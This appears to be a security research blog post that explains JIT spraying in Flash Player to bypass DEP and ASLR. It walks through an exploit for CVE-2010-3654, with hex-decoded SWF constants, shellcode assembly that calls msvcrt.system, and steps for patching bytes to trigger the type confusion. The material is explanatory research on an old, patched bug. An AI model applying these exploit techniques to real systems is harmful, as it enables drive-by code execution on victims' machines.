JIT Spraying Primer and CVE-2010-3654

Lately, hackers are forced to be more and more creative as defense mechanisms are piling up, making exploitation more difficult. Most notably, data execution prevention (DEP) and address space layout randomization (ASLR), both present on Windows 7 and current browsers, make drive-by exploits a real pain. In this post we explain the concept of using the Just-In-Time (JIT) compiler to bypass DEP and ASLR.

It all started with SkyLined’s heap spraying technique, where JavaScript code on a web page was used to allocate many blocks on the heap, each containing a nop-sled and the shellcode (or stage-0). When DEP was not enabled, this was more than enough, as a jump to one of the allocated regions immediately started executing the shellcode (perhaps after a nop-sled). As DEP is currently enabled on all browsers, using heap sprays becomes more difficult, as return oriented programming (ROP) must be used, in spite of ASLR.

But why go through all these hurdles when you can simply use a region of memory that has both controllable data and execute permissions? You just need to find a program that must dynamically allocate memory in this fashion. A natural choice would be JIT compilers, as their sole purpose is to compile a scripting language (or byte-code) to machine instructions on the fly, so as to improve execution speed.

The concept of JIT spraying was first introduced by Dion Blazakis in his Black Hat presentation (better read the paper), where he focused on Adobe Flash Player, and the Adobe ActionScript Virtual Machine (AVM2). Alexey Sintsov continued Dion’s work, providing some source code along the way.

We now describe how to perform the JIT spray, with Adobe Flash Player 9 (standalone version) as an example, using ActionScript and SWF files. I always like to take a look at a format’s specification when I study exploitation details, so I encourage you to read the SWF format specification (or if you’re lazy, at least read a very short summary of it). To compile ActionScript code and manipulate SWF files, you can download Adobe Flex SDK or SWFTools. Most examples presented here are based on SWFTools.

First, let’s look at Alexey Sintsov’s simple JIT code:

Compile using SWF tools:

as3compile -o jit.swf jit_simpl.as

Look at the resulting SWF file using a hex editor:

The “CWS” at the beginning of the file tells us that the SWF file is compressed. Let’s decompress it:

swfcombine -d -o jit_extracted.swf jit_simpl.swf

The contents of the extracted SWF are:

Manual decoding of the extracted SWF gives:

465753 - "FWS" signature
09 - Version 9
60040000 - Size 0x460 (1120 bytes)
70000FA00000BB80 - RECT record, 14 bits per field: twips: (0, 0) to (0x1F40, 0x1770) ==> pixels: (0, 0) to (400, 300)
0019 - 25.0 frames per second
0100 - One frame in file

4411 - Tag 69 (FileAttributes), size: 4 bytes
08 - ActionScript 3.0
000000 - Reserved

BF14 - Tag 82 (DoABC), size in next 4 bytes
31040000 - Size 0x431 (1073 bytes)
00000000 - Flags
00 - Name (empty)

----- BEGIN abcFile -----

0010 - Minor version 16
2E00 - Major version 46

constant_pool:

	11 - 16 integer entries + 1
		90A1C2E403 - integer[1] = 0x3C909090
		D0A0C2E403 - integer[2] = 0x3C909050
		8BD9C3E403 - integer[3] = 0x3C90EC8B
		AB82C3E403 - integer[4] = 0x3C90C12B
		B8E185A306 - integer[5] = 0x646170B8
		D5A0C2E403 - integer[6] = 0x3C909055
		B8DDBDFB03 - integer[7] = 0x3F6F6EB8
		90F302 - integer[8] = 0xB990
		B0A0C2E403 - integer[9] = 0x3C909030
		8382C3E403 - integer[10] = 0x3C90C103
		8D8BE1E703 - integer[11] = 0x3CF8458D
		90A1E2AD03 - integer[12] = 0x35B89090
		C1EFC1E403 - integer[13] = 0x3C9077C1
		B08FC3E403 - integer[14] = 0x3C90C7B0
		B4A7C2E403 - integer[15] = 0x3C9093B4
		FFA1B31E - integer[16] = 0x03CCD0FF
	00 - No uints
	00 - No doubles
	0D - 12 string entries + 1
		00 - string[1] = ""
		094D6F766965436C6970 - string[2] = "MovieClip"
		0866756E63584F5231 - string[3] = "funcXOR1"
		064F626A656374 - string[4] = "Object"
		0F4576656E7444697370617463686572 - string[5] = "EventDispatcher"
		0D446973706C61794F626A656374 - string[6] = "DisplayObject"
		11496E7465726163746976654F626A656374 - string[7] = "InteractiveObject"
		16446973706C61794F626A656374436F6E7461696E6572 - string[8] = "DisplayObjectContainer"
		06537072697465 - string[9] = "Sprite"
		044D61696E - string[10] = "Main"
		0D666C6173682E646973706C6179 - string[11] = "flash.display"
		0C666C6173682E6576656E7473 - string[12] = "flash.events"
	05 - 4 namespaces + 1
		160B - namespace[1] = Package NS: "flash.display"
		1601 - namespace[2] = Package NS: "" (global)
		160C - namespace[3] = Package NS: "flash.events"
		1701 - namespace[4] = Package internal NS: ""
	00 - No namespace sets
	0A - 9 multinames + 1
		070102 - multiname[1] = flash.display::MovieClip
		070403 - multiname[2] = (internal)::funcXOR1
		07020A - multiname[3] = ::Main
		070204 - multiname[4] = ::Object
		070305 - multiname[5] = flash.events::EventDispatcher
		070106 - multiname[6] = flash.display::DisplayObject
		070107 - multiname[7] = flash.display::InteractiveObject
		070108 - multiname[8] = flash.display::DisplayObjectContainer
		070109 - multiname[9] = flash.display::Sprite
	
...

This information is not necessary for the JIT spray itself, but it will come in handy soon enough, when we exploit a Flash Player vulnerability.

Loading the SWF file into Flash Player 9 (standalone version) we can see that the JIT compiler has generated code that matches the script that we’ve written:

However, if we manage to jump one byte into the code (right after the mov instruction), it will look very different:

Filtering out all the nops and nop-equivalents, we get:

mov ebp,esp
push ebp
mov ebp,esp
mov eax,0x35646170
mov ecx,0x35000000
sub eax,ecx
push eax
mov eax,0x353f6f6e
mov ecx,0x30350000
add eax,ecx
push eax
lea eax,dword ptr ss:[ebp-8]
push eax
mov eax,0x77c13535
mov al,0xc7
mov ah,0x93
call eax
int 3

Which can be compressed to:

mov ebp,esp
push 0x00646170
push 0x65746F6E
sub ebp,8
push ebp		; Address of "notepad" on stack
mov eax,0x77c193c7	; msvcrt.system
call eax
int 3

The fact that we need to compensate for the xor opcode (0×35) makes the actual code larger.

As Alexey Sintsov mentioned, it’s important to keep the size of the code small, or else Flash Player will allocate more memory for the JIT code, resulting in much more distance between each loaded SWF file in the spray (the minimal distance we get is 0×10000). Additionally, each xored number must have its leftmost bit set to 0, or the code gets JITted with extra opcodes that ruin our shellcode. Moreover, it’s important to choose the right compiler for your ActionScript file. In this case, using mxmlc (from the Flex package) generates “xor ebx” opcodes, each taking 2 bytes, once again ruining our shellcode.

When loading the SWF many times (performing the JIT spray), we get the following memory layout:

We don’t have to worry much about Windows 7′s ASLR, since it’s not used for VirtualAlloc.

More Realistic Code

The proof of concept code uses the static address of msvcrt.dll’s system function (which is 0x77C193C7 in the given example, but 0x77C293C7 on current Windows XP SP3 machines). We don’t want to rely on static addresses, so here’s an ActionScript file that uses the Thread Information/Environment Block (TIB/TEB), to get to the Process Environment Block (PEB), search the loaded modules for msvcrt.dll, walk over its export table, and find the real address of system:

The code is not optimized, but it does show you several ways of transforming assembly code into Flash Player compatible JIT code.

CVE-2010-3654

To really see the code in action, we use the CVE-2010-3654 Flash Player type confusion vulnerability. The vulnerability was already extensively analyzed, but the published exploit code didn’t use JIT spray at all. We now provide our own version of the exploit, which uses the more realistic JIT code provided above. Note that this time we use mxlmc (from the Flex package) for compilation.

For our exploit, we use 3 files: main.as, Original_Class.as, and Real_Ref_Class.as. Here they are, in this order:

To understand how the dereferncing works, take a look at the following code, showing how the call to obj.normal_func() looks like in machine code (compare to the comments in the code):

Assuming that all files (these 3 and the previous jit_real.as containing the realistic JIT code) reside in a directory called “poc” under the current working directory, run the following commands:

mxmlc -source-path=.\ poc\main.as
cd poc
as3compile -N -o jit.swf jit_real.swf
as3combine -d -o main_extracted.swf main.swf

Now we need to induce the type confusion vulnerability for the exploit to work. Edit main_extracted.swf, and check the constant pool string entries for “Real_Ref_Class” (should be #2) and “Original_Class” (should be #3). Next, you should change the multiname of Original_Class to point to Real_Ref_Class. That is, in the multiname array you should see the bytes 070102070103 (for the two classes). Replace them with 070102070102, making Original_Class point to Real_Ref_Class. Naturally, if, for some reason, the constant strings in your file are not #2 and #3, change the numbers according to your pool.

After you change main_extracted.swf, simply load it into Flash Player. You’ll see “2000″ on the screen, meaning that the JIT spraying was over, and 3 seconds later you should see Notepad running.

 

Be Sociable, Share!

2 thoughts on “JIT Spraying Primer and CVE-2010-3654

    • Thanks. It doesn’t work since version 10.1. I’ll possibly post some more info in the next few weeks.

      Gal

Leave a Reply

Your email address will not be published. Required fields are marked *

*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>